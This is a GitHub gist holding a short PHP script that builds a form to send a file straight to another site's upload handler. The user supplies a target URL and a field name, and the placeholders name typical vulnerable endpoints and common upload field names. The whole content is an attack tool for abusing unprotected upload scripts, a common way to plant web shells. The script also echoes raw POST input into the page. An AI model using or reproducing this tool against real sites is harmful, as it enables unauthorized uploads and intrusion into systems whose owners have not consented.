Skip to content

Instantly share code, notes, and snippets.

@Cvar1984
Created May 29, 2018 20:14
Show Gist options
  • Save Cvar1984/f6f510027dacce80cd4867e7b02a6db9 to your computer and use it in GitHub Desktop.
Save Cvar1984/f6f510027dacce80cd4867e7b02a6db9 to your computer and use it in GitHub Desktop.
<?php
$url=$_POST['url'];
$pf=$_POST['pf'];
$act=$_POST['action'];
if(isset($act)) {
echo "
<center>
<form method='post' target='_blank' action='$url' enctype='multipart/form-data'>
<input type='file' name='$pf'>
<input type='submit' value='Upload'>
</form>
</center>";
} else {
?>
<center>
<form method="post">
<input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/[path]/upload.php" required/><br>
<input type="text" name="pf" size="50" height="10" placeholder="Filedata / files[] / qqfile / userfile / dll" required/><br>
<input type="submit" name="action" value="Lock">
</form>
</center>
<?php
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment